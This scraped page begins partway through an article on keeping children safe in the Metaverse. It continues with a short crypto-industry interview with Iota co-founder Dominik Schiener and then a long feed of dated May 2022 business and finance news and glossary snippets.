You should also set clear rules and guidelines for using the Metaverse and reinforce these rules so your kids are more likely to follow them. This helps create a safer environment for all users, especially children.

In addition, provide your kids with guidance regarding appropriate behavior when interacting with others online. Emphasize the importance of being respectful and considerate of others, even if they are strangers.

Finally, remember that the Metaverse is just one part of your child’s life. It’s important to encourage them to balance their time between the virtual and real worlds. They should still spend time outside, interacting with people face-to-face and engaging in other activities.

Manufacturers and tech companies must also do their part in protecting children. Although it might be a pipe dream to expect big companies to have the same moral compass as parents, we can at least hope that they’ll be more diligent in moderating content and policing bad behavior. After all, it’s in their best interest to protect the user base that keeps them afloat.

For starters, VR devices and metaverse systems should be designed with children’s comfort and well-being in mind. They should be encouraged to report abusive or inappropriate behavior. There should also be clear mechanisms in place for dealing with these reports. Moreover, online safety measures such as antivirus software, password protection and encryption should also be built into VR devices and metaverse platforms. 

Overall, protecting children from the risks of the Metaverse is a shared responsibility. Parents must do their part in navigating this new digital world alongside their kids. But, technology companies should also work toward making the Metaverse a safer place for young users by implementing safeguards against common threats like cyberbullying and inappropriate content exposure.

Advantages and Disadvantages of the Metaverse for kids

Advantages

The Metaverse has many advantages for kids, especially from an education perspective.

With the help of such technology, learners can grasp abstract concepts easily in a more engaging way. The Metaverse also offers almost actual, hands-on experience that can be very beneficial for children and help them to better understand the world around them and how things work.

In addition, the Metaverse can improve social skills in children. Social media has often been blamed for the rise in loneliness and depression among kids. On the other hand, the Metaverse has the potential to provide a safe and controlled environment for kids to interact with their peers and make new friends. Furthermore, it has the potential to encourage creativity and develop social intelligence in kids.

Lastly, it’s fun. It can be a great way for parents to bond with their kids and teach them various skills and knowledge in a less stressful environment. As long as parents are aware of the potential dangers and take the necessary measures to keep their kids safe, the Metaverse can be a great place for kids to explore and learn.

Disadvantages

The Metaverse also poses some potential risks for children such as cyberbullying and a lack of privacy.

Cyberbullying is a serious concern, as kids can be targeted and harassed by anonymous users. In addition, there is also the risk of children being exposed to inappropriate content, such as violence, sexual content and hate speech.

Moreover, some experts are also concerned that the Metaverse can be addictive for kids. Given its highly immersive and engaging nature, it could be difficult for kids to manage their time and limit their use of the Metaverse.

Privacy may yet be another issue on the Metaverse. And, when kids are concerned, it’s even more important to be aware of such risks. As kids use the Metaverse, they may inadvertently share personal information such as their home address or other personal details.

In addition to the physiological risks, the physical risks of the Metaverse are also something to consider. Heavy use of VR headsets may lead to symptoms like dizziness, nausea and headaches. And, while these effects are usually temporary, they can still be quite discomforting.

Related: Augmented reality vs. virtual reality: Key differences

Lastly, access inequality is a major concern when it comes to the Metaverse. Not every child will have access to the internet or a VR headset. And, without such access, they may be at a disadvantage, both educationally and socially.

What might the Metaverse mean for kids?

Early research shows that experts aren’t too optimistic about how the Metaverse will affect children.

Citing the negative effects of social media, such as depression, self-harm and a slew of other mental health issues, experts note that the Metaverse might be even worse.

However, it’s worth noting that the issue isn’t with the Metaverse itself. As mentioned, the Metaverse can present great opportunities for learning, especially in today’s digital-first culture. Games and virtual reality (VR) are actually great for mental health if used properly, according to research done by the University of Southern California on empathy-building games.

The problem is that the companies that banked heavily on an entire generation’s insecurities via social media are the same companies at the forefront of development on the Metaverse.

The concern is that the Metaverse might just exacerbate the problems that social media created, especially pertaining to the mental health of young individuals. For instance, virtual environments create loneliness and the participants are exposed to dangerous content that’s related to suicidality.

What is the Metaverse?

The Metaverse is a virtual environment where people can carry out various tasks.

The term “metaverse” was a term originally coined by science fiction writer Neal Stephenson in his influential 1992 novel Snow Crash to represent a virtual reality environment connected through the internet and accessible from any device such as a computer or smartphone with an internet connection.

Today’s Metaverse isn’t too far off from Stephenson’s version. Although not yet fully existent, you could think of the Metaverse as a patchwork of online virtual worlds that exist online. People can do various things on the Metaverse such as own virtual real estate, play games, work and meet other people.

For kids, this means endless opportunities for socializing, learning new skills and exploring their interests. Minecraft, for example, is already being used in learning environments to expose children to different cultures through the Metaverse.

Kids can truly benefit from the Metaverse, whether they are playing online games with friends or taking virtual classes through educational platforms. However, there are also some potential downsides to this new technology such as cyberbullying and exposure to inappropriate content. Ultimately, it will be up to parents and educators to help kids navigate the Metaverse in a safe and productive way.

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Date of publish: Sun, 15 May 2022 17:00:00 +0100

We ask the buidlers in the blockchain and cryptocurrency sector for their thoughts on the industry… and throw in a few random zingers to keep them on their toes!

This week, our 6 Questions go to Dominik Schiener, a co-founder of the Iota Foundation, a nonprofit organization, and the creator of the Tangle, a permissionless, multi-dimensional distributed ledger designed as a foundation of a global protocol for all things connected.

Dominik Schiener is a co-founder and the chairman of the Iota Foundation, one of the largest and greenest cryptocurrency ecosystems in the world. The Iota Foundations mission is to support the research and development of new distributed ledger technologies, including the Iota Tangle. Raised in Italy, Dominik oversees partnerships and the overall realization of the projects vision toward the machine economy. He is a strong advocate for research-based, community-vetted, transparent developments in the cryptocurrency sector.

1 If you were investing in startup companies right now, what kind of blockchain-based business opportunity would catch your eye?

Id go all-in on startups focused on the intersection of Web2 and Web3. Were in a transitional period thats going to last for a long time, and embracing this ongoing transition is smart from both a financial and technical point of view. Companies helping the centralized world move into the decentralized one and vice versa are the present and the future. This includes crypto banking, fiat gateways, NFT marketplaces, and so on. The biggest barriers to adoption are user experience, not scaling. Focusing on and investing in UX is the road to mass adoption and to the new world of Web3.

2 Which people do you find most inspiring, most interesting, and most fun in this space?

Im drawn to people who have endured and risen above hardship in their personal and professional lives and have become more capable leaders as a result. Naturally, Im inspired by people like Vitalik Buterin within the crypto space, but I also admire Ray Dalio, whose innovations and thinking transformed traditional finance long before crypto even existed.

3 What is the single most innovative use case for blockchain youve ever seen? It may not be the one likeliest to succeed!

Im increasingly enthusiastic about algorithmic stablecoins. Im fascinated by their mechanics and their possibilities. They are, of course, highly experimental, and some may just fail, causing investors to lose millions. Even so, these stablecoins have enormous potential to onboard retail investors and offer a new way to transact. I believe they are crucial to mainstream adoption, so I certainly hope theyre likely to succeed.

4 Whats the most interesting place youve ever visited, and why?

Im a mountain guy. I grew up in the Alps, so Im probably a little biased. My favorite places are remote areas in the mountains, where youre far from civilization and can really take a moment to step back, reflect, and appreciate the beauty of our world. That kind of tranquility is the best way to take a break from the crypto madness. I love being in a place where the only reminder of the modern world is the occasional airplane overhead. I love Sdtirol [in northern Italy] in particular.

5 Which movie alternate universe would you most like to live in, and why?

Im going to go with Avatar. Its such a stunningly gorgeous and fully realized world. I love the look of that movie and the deep importance it places on the interconnectedness of nature. If Im a nature guy on Earth, I figure Im a nature guy on other planets, too. Living in an alternate reality and becoming part of the Navi tribe sounds like an amazing exploration adventure.

6 What should we be teaching our kids?

Financial literacy still isnt the priority it should be within education, and the sooner that changes, the better. I also think there needs to be a bigger emphasis on philosophy and, more specifically, ethics. Science and technology are developing more rapidly than ever before in human history, and we simply cant have a generation that is unable to think critically about the human element of these developments. We know about the dangers of technical advancement without ethical boundaries there are countless dystopian movies about exactly this! and its importance cannot be understated.

A wish for the young, ambitious blockchain community:

That we never forget why were here. Its not about getting rich quick. Its about removing centralization and abuses of power to lead billions of people to prosperity and abundance through decentralized technologies.

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Date of publish: Sun, 15 May 2022 14:15:30 +0100

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Date of publish: Mon, 16 May 2022 10:32:42 GMT

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

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Date of publish: Mon, 16 May 2022 10:18:56 GMT

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Date of publish: Mon, 16 May 2022 10:17:05 GMT

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Date of publish: Mon, 16 May 2022 10:15:42 GMT

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Date of publish: Mon, 16 May 2022 10:00:36 GMT

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Date of publish: Mon, 16 May 2022 10:00:00 GMT

Surging food prices are a "major worry" for the UK and other countries, Andrew Bailey warns.

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Date of publish: Mon, 16 May 2022 20:53:03 GMT

Chief executive Parag Agrawal says the firm is confident that less than 5% of users are spam accounts.

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Date of publish: Mon, 16 May 2022 20:46:18 GMT

The chain opened in Moscow in 1990 as the Soviet Union was opening its economy to Western brands.

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Date of publish: Mon, 16 May 2022 16:11:58 GMT

It is the first Russian nationalisation of a major foreign business since the invasion of Ukraine.

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Date of publish: Mon, 16 May 2022 10:17:47 GMT

The RMT union said the timetable plans could cause "industrial carnage" amid an ongoing dispute.

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Date of publish: Mon, 16 May 2022 17:56:24 GMT

Ofgem says a review every three months would allow households to benefit sooner from falling prices.

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Date of publish: Mon, 16 May 2022 09:51:33 GMT

The RAC says prices rose to just over £1.80 a litre after the previous record was set in March.

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Date of publish: Mon, 16 May 2022 16:39:47 GMT

Michael O'Leary warns high demand for European beach holidays will mean price rises.

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Date of publish: Mon, 16 May 2022 08:47:32 GMT

World wheat prices have soared this year, pushing up the cost of everything from bread to noodles.

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Date of publish: Mon, 16 May 2022 04:57:17 GMT

Not raising the fees for the first time in 12 years puts money back in people's pockets, ministers say.

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Date of publish: Sun, 15 May 2022 11:12:23 GMT

People on low incomes are pawning their possessions to pay for essentials, a report suggests.

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Date of publish: Sat, 14 May 2022 11:36:38 GMT

One UK petrol station operator tells the BBC motorists are making fuel "last a little bit longer".

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Date of publish: Fri, 13 May 2022 09:42:51 GMT

The rising cost of essentials such as gas and electricity means tenants want rents to cover bills.

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Date of publish: Thu, 12 May 2022 23:04:53 GMT

Kwasi Kwarteng says there may be a "small effect" on energy bills under a new nuclear funding model.

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Date of publish: Fri, 13 May 2022 15:03:52 GMT

People spent less in shops and cut down on car journeys leading to the economy shrinking in March.

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Date of publish: Thu, 12 May 2022 11:27:56 GMT

Some 1.5m UK households will struggle to pay food and energy bills this year, a report finds.

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Investment bank Goldman Sachs will no longer cap paid leave for its senior staff and partners.

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Date of publish: Mon, 16 May 2022 11:34:07 GMT

One firm tells of its struggles as a survey suggests lending to small businesses has hit an all-time low.

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Date of publish: Mon, 16 May 2022 10:02:24 GMT

Evidence of China's economic slowdown came as authorities unveiled plans to lift Shanghai's lockdown.

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Date of publish: Mon, 16 May 2022 04:51:34 GMT

The airline will offer new and existing cabin crew the bonus, as carriers seek to retain and recruit workers.

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Some businesses which boomed during the Covid pandemic are seeing their popularity fade.

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Date of publish: Sun, 15 May 2022 01:51:57 GMT

The state-owned Saudi Aramco is currently the world's most valuable company due to soaring oil prices.

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Date of publish: Sun, 15 May 2022 08:38:18 GMT

It is shameful not to raise extra money from oil and gas firms amid the rising cost of living, Ed Miliband says.

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Date of publish: Mon, 16 May 2022 07:15:49 GMT

Russian operator RAO Nordic says it will cease deliveries from Saturday, citing payment problems.

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Date of publish: Fri, 13 May 2022 20:19:52 GMT

A government decision not to extend pay gap reporting to racial disparities has been criticised by MPs.

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Date of publish: Fri, 13 May 2022 18:53:54 GMT

The billionaire wants more data on fake accounts, prompting speculation over the deal's future.

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Date of publish: Fri, 13 May 2022 15:16:05 GMT

The decision for the £20bn nuclear power plant in Suffolk had been due this month.

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Date of publish: Fri, 13 May 2022 06:30:43 GMT

The landlord of the Star Inn at Vogue says he found Condé Nast's request "hilariously funny".

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Date of publish: Fri, 13 May 2022 15:43:48 GMT

The banking boss says women in business have been treated like "boiled eggs" - too hard or too soft.

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Date of publish: Fri, 13 May 2022 07:23:22 GMT

One of the senior executives was on parental leave when he learned he was out of a job.

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The sudden demise of TerraUSD sends other crypto-coins into a downward spiral.

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Date of publish: Thu, 12 May 2022 14:38:57 GMT

Sainsbury's, Tesco and Aldi are among grocers asking some products to be returned to stores.

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Date of publish: Thu, 12 May 2022 13:31:39 GMT

But customers can still return clothes purchased online from the fashion giant for free in stores.

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Date of publish: Thu, 12 May 2022 13:27:45 GMT

The move by the retail giant highlights the shift away from traditional office set-ups since the pandemic.

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Date of publish: Thu, 12 May 2022 15:58:11 GMT

The energy giant will sell its retail business in Russia to the country’s second-largest oil producer, Lukoil.

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Date of publish: Thu, 12 May 2022 15:07:44 GMT

The chancellor says he rules nothing out if they don't increase investment in energy projects soon.

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Date of publish: Thu, 12 May 2022 17:43:41 GMT

From door frames to aircraft and food packaging - how soaring prices will impact the world economy.

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Lack of access to smartphones and computers is widening the education gulf in India.

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Date of publish: Mon, 09 May 2022 23:05:24 GMT

Some managers think artificial intelligence helps remove their bias but others think it's cheating.

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Date of publish: Sun, 08 May 2022 22:49:29 GMT

Chelsea have agreed terms on a sale, but who are the key names in the consortium buying the club?

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How have young business people found the comeback from coronavirus lockdowns?

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One city is trying to bounce back and find the answers after dozens of empty stores.

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What is it about the Indian market that impels even the biggest food chains to adjust to local needs?

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Dhruvin Patel talks about becoming an entrepreneur after surviving a terrifying accident.

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Date of publish: Tue, 03 May 2022 22:56:03 GMT

Nickel is essential for batteries and stainless steel but suppliers are struggling to meet demand.

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Date of publish: Mon, 02 May 2022 23:00:54 GMT

The Beijing investment offers that need to be weighed up by European countries.

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An uneven recovery from the pandemic leaves graduates struggling to get on the career ladder.

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Apollo Global Management added a leader for its digital assets strategy and will invest millions in blockchain and Web3.

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Date of publish: 2022-05-16T22:27:22+00:00

JetBlue Airways launched a hostile takeover attempt for Spirit Airlines after the discount carrier rejected the previous offer.

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Date of publish: 2022-05-16T22:24:51+00:00

Purchasing a wine club membership could be a great idea, especially over the holidays. Or is it? Learn how to decide and how to choose the right one.

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Date of publish: 2022-05-16T21:55:14+00:00

A product line in business is a group of related products under the same brand name manufactured by a company. Read how product lines help a business grow.

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Date of publish: 2022-05-16T21:33:21+00:00

Open an account with one of these listed companies to receive its brokerage account promotions, but be sure it's the right account for your needs.

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Date of publish: 2022-05-16T20:42:17+00:00

The Infrastructure Investment and Jobs Act includes $550 billion in new funds to rebuild roads, bridges, water infrastructure, the internet, and more.

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Today's low is the lowest price at which a specific stock trades over the course of a trading day.

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James Tobin received the Nobel Prize in economics for his research on the financial system and its impact on inflation and employment.

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Metrics are measures of quantitative assessment commonly used for assessing, comparing, and tracking performance or production.

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Variance is a measurement of the spread between numbers in a data set. Investors use the variance equation to evaluate a portfolio’s asset allocation.

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An inverse volatility exchange-traded fund (ETF) is a financial product that allows investors to bet on market stability without having to buy options.

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Date of publish: 2022-05-16T20:08:07+00:00

Shareholders' equity is the net value of a company, or the amount that would be returned to shareholders if assets were liquidated and debts repaid.

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The inverse relationship between interest rates and bond prices seems somewhat illogical at first but then starts to make sense upon closer examination.

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Date of publish: 2022-05-16T19:28:26+00:00

If you're paying off a mortgage or plan to buy a home, chances are you pay attention to where mortgage rates are heading. Consider these scenarios.

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Date of publish: 2022-05-16T19:01:32+00:00

Learn how to determine whether the money invested in certificates of deposit (CDs) can keep pace with the rate of inflation and how you measure inflation.

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Date of publish: 2022-05-16T18:55:53+00:00

The balance of payments (BOP) is a statement of all transactions made between entities in one country and the rest of the world over a defined period of time.

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Date of publish: 2022-05-16T18:24:15+00:00

Satoshi Nakamoto is the name used by the unknown creator of Bitcoin. Find out what is speculated on or known about this person or group.

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Date of publish: 2022-05-16T18:21:19+00:00

Mergers and acquisitions (M&A) refers to the consolidation of companies or assets through various types of financial transactions.

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Date of publish: 2022-05-16T18:16:56+00:00

Investopedia rounds up the best educational content for students, teachers, and anyone else interested in learning personal finance and investing.

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Date of publish: 2022-05-16T18:10:15+00:00

A home mortgage is a loan given by a bank, mortgage company or other financial institution for the purchase of a primary or investment residence.

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Date of publish: 2022-05-16T17:05:07+00:00

We developed criteria to compare pet insurance companies. Learn more about our pet insurance review methodology.

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Date of publish: 2022-05-16T17:02:20+00:00

The Compound Annual Growth Rate, known as CAGR, is a good and valuable tool to evaluate investment returns, however it does not measure risk.

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Date of publish: 2022-05-16T16:34:31+00:00

Major retailers including Walmart, Target, Home Depot, and Lowe's are set to report earnings this week, while the Commerce Department's latest retail sales report will be available Tuesday

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Date of publish: 2022-05-16T16:24:56+00:00

In episode 85 of the Investopedia Express with Caleb Silver, we talk to Raoul Pal, economist, investor, futurist, and co-founder of Real Vision.

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Date of publish: 2022-05-16T16:18:33+00:00

Stocks, bonds or any other securities can be transferred as gifts, and this also creates benefits for the giver of the securities.

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Date of publish: 2022-05-16T16:04:14+00:00

An altcoin is a cryptocurrency or token that is not Bitcoin (BTC). Etherum (ETH) is an altcoin. Learn about altcoins and what makes them different.

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Date of publish: 2022-05-16T15:40:36+00:00

Accrued interest refers to the interest that has been incurred on a loan or other financial obligation but has not yet been paid out.

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Date of publish: 2022-05-16T15:20:47+00:00

An E-mini is an electronically traded futures contract that is a fraction of the value of a standard futures contract. Read about E-mini investing here.

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Date of publish: 2022-05-16T15:18:43+00:00

Elon Musk is an American business icon and the richest person in the world.

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Date of publish: 2022-05-16T14:56:07+00:00

Conditional probability is the likelihood of an event or outcome occurring based on the occurrence of some other previous event or outcome.

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Date of publish: 2022-05-16T14:44:52+00:00

The airline alliance's card, which is set to launch later this year, is a first.

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Date of publish: 2022-05-16T14:35:26+00:00

A hostile takeover is the acquisition of one company by another without approval from the target company's management.

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Date of publish: 2022-05-16T13:56:46+00:00

Delta is the ratio comparing the change in the price of the underlying asset to the corresponding change in the price of a derivative.

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Date of publish: 2022-05-16T13:39:08+00:00

Compare mortgage rates across 18 different products for both purchase and refinance and see how they stack up across the country.

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Date of publish: 2022-05-16T13:33:18+00:00

A mortgage constant is the percentage of money paid each year to pay or service a debt given the total value of the loan.

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Date of publish: 2022-05-16T13:31:49+00:00

A day cycle is the time period allotted for the delivery of Automated Clearing House debits and credits from an originator to its processor.

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Date of publish: 2022-05-16T13:30:32+00:00

Rates on 30-year mortgages rise, continuing their volatile up-and-down pattern of the last several weeks.

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Date of publish: 2022-05-16T13:28:50+00:00

The right mortgage can make your dream of owning a home a reality. We researched and reviewed the best 20-year mortgage rates, all collected here.

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The right mortgage can make your dream of owning a home a reality. We researched and collected the best 15-year loan offers.

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The right mortgage can make your dream of owning a home a reality. We researched and reviewed the best 10-year mortgage rates, all collected here.

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The right mortgage can make your dream of owning a home a reality. We researched and reviewed the best jumbo mortgage rates, all collected here.

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The right mortgage can make your dream of owning a home a reality. We researched and reviewed the best 30-year mortgage rates, all collected here.

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Compare mortgage refinance rates across 18 different products, from 30-Year Fixed to 5/6 ARMs and everything in between.

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Date of publish: 2022-05-16T13:16:16+00:00

Walmart (WMT) reports Q1 earnings before market open on May 17. Will comparable sales growth continue to decelerate at a rapid pace?

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Date of publish: 2022-05-16T13:07:23+00:00

The Investopedia Anxiety Index is a gauge of investor sentiment based on the behavior of over 20 million Investopedia readers around the world.

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Date of publish: 2022-05-16T13:03:59+00:00

Maximizing your 401(k) involves understanding the investments offered, which are best suited for you, and how to manage them, among other strategies.

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Date of publish: 2022-05-16T12:53:35+00:00

Our detailed PenFed Credit Union student loan refinancing review describes the APRs, terms, eligibility requirements, and everything else you should know about PenFed.

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Securities Industry and Financial Markets Association (SIFMA) is an organization representing all financial markets firms in the U.S. and worldwide.

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Learn more about the Oslo Stock Exchange (OSL), the only regulated market for trading securities in Norway.

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Learn how to discuss financial constraints with clients, including time horizon, tax and regulatory constraints, as well as basic risk management.

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The financial advisory industry remains overwhelmingly White and male but efforts to recruit minorities and women are slowly bearing fruit.

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An affidavit of title is a document provided by the seller of real estate showing the status of the property, including ownership and legal issues.

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An exclusive listing is an agreement in which one real estate broker is authorized to act as the sole agent of the seller.

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Date of publish: 2022-05-16T09:29:03+00:00

Before committing to a purchase, buyers need to visualize a home as their future home. Skilled home staging can help them do just that.

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A best and final offer is a prospective homebuyer's last and highest offer, often submitted in a bidding war for a property.

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Date of publish: 2022-05-16T09:21:01+00:00

When a home sale falls through, it's typically due to contingencies not being met or the buyer or seller had a change of heart.

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A swimming pool is enormous fun, but will it boost your home's sale price? Here are six home improvements that don't add the value that owners expect.

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The younger you are, the more time your savings have to grow. Here are 8 basic money rules to get your finances on the best possible track right now.

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McDonald’s leveraged fast food to become a real estate company that makes money by leasing its properties to franchisees, often at large markups.

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Date of publish: 2022-05-16T08:43:34+00:00

Winning the lottery is both a dream come true and a nightmare. Make sure you account for taxes and other hidden fees when claiming your prize.

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A pick-and-shovel play is a strategy to invest in companies that provide necessary equipment for an industry, rather than in the industry's end product.

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Learn what a market economy is, the main assumption behind it, and some important advantages it has over other types of economies.

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A Roth IRA is an individual retirement account (IRA) that allows qualified withdrawals on a tax-free basis if certain conditions are satisfied.

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In finance, the term "holdovers" refers to transactions—usually checks—that have not yet been processed.

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Here is a look at which presidents ran the largest federal budget deficits in U.S. history.

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Regulation EE, also known as netting eligibility, allows financial institutions to settle mutual obligations at net value, versus gross value.

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Accountants earn higher-than-average salaries, but they can make even more in certain parts of the country and in certain sub-sectors.

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Mortgage putback claims may be filed by investors in mortgage-backed securities to compel loan originators to repurchase toxic loans.

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Understand the dividend payout ratio, how it differs from the dividend yield, and how it can be calculated from a company's income statement.

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Brinkmanship is a negotiating technique where one party aggressively pursues a set of terms so that the other party must either agree or disengage.

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Ben Bernanke was the chair of the board of governors of the U.S. Federal Reserve from 2006 to 2014.

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Date of publish: 2022-05-16T07:02:31+00:00

Robert Crandall is a former president, CEO, and chair of AMR Corporation, the holding company for American Airlines, serving from 1985 to 1998.

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Date of publish: 2022-05-16T07:01:45+00:00

A forced conversion is when the issuer of a callable bond exercises their right to call the issue.

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Date of publish: 2022-05-16T06:32:49+00:00

Weighted Average Remaining Term (WART) is a calculation used to compare the time to maturity of asset-backed securities, most commonly mortgages.

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Date of publish: 2022-05-16T06:04:22+00:00

Distribution reinvestment is when the distribution from a pooled investment trust, such as an REIT or mutual fund, is automatically reinvested in the trust.

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Date of publish: 2022-05-16T05:39:13+00:00

Mini options are option contracts wherein the underlying security is 10 shares of a stock or exchange-traded fund (ETF). This is the main difference between mini options and standard options, which have 100 shares as the underlying security.

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Date of publish: 2022-05-16T05:23:48+00:00

The E-mini S&P 500 is an electronically-traded futures contract representing one-fifth of the value of the standard S&P 500 futures contract.

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Date of publish: 2022-05-16T04:23:49+00:00

While millennials struggle to move up the corporate ladder, those who fall under Generation Z have been making their own income in creative ways.

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Date of publish: 2022-05-16T03:56:18+00:00

These four Dow Jones option buying strategies offer profitable alternatives to trading the exchange-traded fund directly.

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Date of publish: 2022-05-16T03:49:36+00:00

Securities can be bought and sold via a number of exchanges in the U.S. Learn about the major and somewhat lesser-known U.S. financial securities markets.

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Date of publish: 2022-05-16T03:17:30+00:00

An inverse head and shoulders, also called a head and shoulders bottom, is inverted with the head and shoulders top used to predict reversals in downtrends.

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Date of publish: 2022-05-16T03:07:56+00:00

Learn about the mechanics of S&P 500 futures contracts, a type of stock index future introduced by the Chicago Mercantile Exchange.

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Date of publish: 2022-05-16T02:25:23+00:00

Panic selling is a sudden sharp selloff in a stock or in many stocks based on fear, rumor, or overreaction rather than reasoned analysis.

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Date of publish: 2022-05-16T02:12:11+00:00

Some common investing mistakes should be avoided to get the best return on your money. Review these eight mistakes made by investors every day.

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Date of publish: 2022-05-16T01:47:22+00:00

Ever wondered about the cryptography involved in cryptocurrencies?

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Date of publish: 2022-05-16T01:26:55+00:00

Find out how to calculate important ratios and compare them to market value. Using company financial analysis, investors analyze a firm's financial position.

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Date of publish: 2022-05-16T01:14:22+00:00

Options are known for their flexibility, but they can be so much more. Learn about the predictive tools that can help you gauge the feelings of traders.

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Date of publish: 2022-05-16T00:47:04+00:00

Market cycles include four phases of market growth and decline, which is driven by business and economic conditions.

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Date of publish: 2022-05-15T23:54:50+00:00

With more than 200 episodes airing since it debuted in 2009, we take a look at the eight most successful products to come out of "Shark Tank."

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Date of publish: 2022-05-15T23:51:26+00:00

A tandem plan is a mortgage purchase program subsidized by the Government National Mortgage Association (Ginnie Mae).

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Date of publish: 2022-05-15T23:49:11+00:00

New stocks and bonds are sold to investors In primary markets, while securities are traded by investors on the secondary market.

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Date of publish: 2022-05-15T23:45:14+00:00

The Efficient Market Hypothesis (EMH) suggests that stock prices fully reflect all available information in the market. Is this possible?

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Date of publish: 2022-05-15T23:07:15+00:00

The Homeowner Affordability and Stability Plan is a 2009 program created to stabilize the U.S. economy.

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Date of publish: 2022-05-15T22:49:32+00:00

A transfer of physical assets (TPA) is involved when a HUD-insured loan is attached to a real estate transaction.

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Date of publish: 2022-05-15T22:33:56+00:00

Options market trading data can provide important insights about the direction of stocks and the overall market. Here’s how to track it.

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Date of publish: 2022-05-15T21:57:43+00:00

The Housing Choice Voucher Program helps families with very low incomes choose their own affordable, safe and healthy housing.

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Date of publish: 2022-05-15T21:51:02+00:00

A decree of foreclosure and sale is a statement issued by a court indicating that a piece of property is to be sold when a mortgage has gone into default.

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Date of publish: 2022-05-15T21:45:18+00:00

The Mortgage Bankers Association is a national association that represents the real estate finance industry.

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Date of publish: 2022-05-15T21:24:55+00:00

Finding and buying a foreclosed home is easier than it used to be, but you still have to know how to navigate the market.

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Date of publish: 2022-05-15T21:04:31+00:00

Zombie foreclosure refers to a situation caused when a homeowner vacates a property before ownership of the house is transferred.

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Date of publish: 2022-05-15T21:01:12+00:00

A voluntary foreclosure is a foreclosure is brought by a borrower, rather than the lender, in an attempt to avoid further payments.

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Date of publish: 2022-05-15T20:26:03+00:00

Affordable market value (AMV) is the price charged for an apartment building sold through the FDIC’s Affordable Housing Program.

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Date of publish: 2022-05-15T19:44:26+00:00

Labor unions have gained important protections for workers, but they haven't always welcomed women, Black workers, and immigrants.

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Date of publish: 2022-05-15T18:45:52+00:00

Emotion-driven investing can cost you dearly.

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Date of publish: 2022-05-15T18:45:33+00:00

Increased volatility in the stock market provides greater opportunities to profit for both long- and short-term traders.

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Date of publish: 2022-05-15T14:42:41+00:00

Learn the best ways to profit from and hedge volatility using VIX and alternative strategies.

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Date of publish: 2022-05-15T14:08:34+00:00

Klarna is an app that offers interest-free installment loans as well as financing options for shoppers who want to buy now and pay later.

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Date of publish: 2022-05-15T04:49:30+00:00

Loan officers and mortgage brokers can both help you get a mortgage, but you need to know the differences between them.

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Date of publish: 2022-05-15T03:56:04+00:00

NASDAQ's Market Services unit generates the most revenue and profits, but Corporate Platforms and Investment Intelligence have fastest profit growth.

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Date of publish: 2022-05-15T02:51:13+00:00

A below-market interest rate (BMIR) is defined as an interest rate lower than that currently being offered for commercial loans extended by banks.

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Date of publish: 2022-05-15T01:39:45+00:00

Racism once was allowed to impact VA programs to help active and veteran service members buy, build, improve, and refinance homes. Fair Housing laws apply now.

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Date of publish: 2022-05-15T01:14:11+00:00

LIFFE is a London, England-based futures and options exchange now known as ICE Futures Europe.

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Date of publish: 2022-05-15T01:13:55+00:00

Risk takes on many forms but is broadly categorized as the chance an outcome or investment's actual return will differ from the expected outcome or return.

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Date of publish: 2022-05-15T01:06:40+00:00

The World Federation of Stock Exchanges is an international standards organization based in London.

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Date of publish: 2022-05-15T00:55:34+00:00

The right of foreclosure legally entitles a lender to begin foreclosure proceedings against a delinquent borrower.

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Date of publish: 2022-05-15T00:47:48+00:00

Learn about the pros and cons of leasing to Section 8 tenants.

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Date of publish: 2022-05-15T00:43:15+00:00

Times of extreme volatility in the market provide an opportunity to reconsider your investment strategy.

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Date of publish: 2022-05-15T00:32:43+00:00

Kaizen is a Japanese business philosophy that focuses on continuous improvement and involves all employees. Kaizen means "change for the better."

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Date of publish: 2022-05-15T00:18:03+00:00

Find out how to better manage rent costs with creative ways to save money.

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Date of publish: 2022-05-15T00:06:50+00:00

The CBOE Options Exchange, formerly known as the Chicago Board Options Exchange (CBOE), is the world's largest options exchange

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Date of publish: 2022-05-14T23:59:30+00:00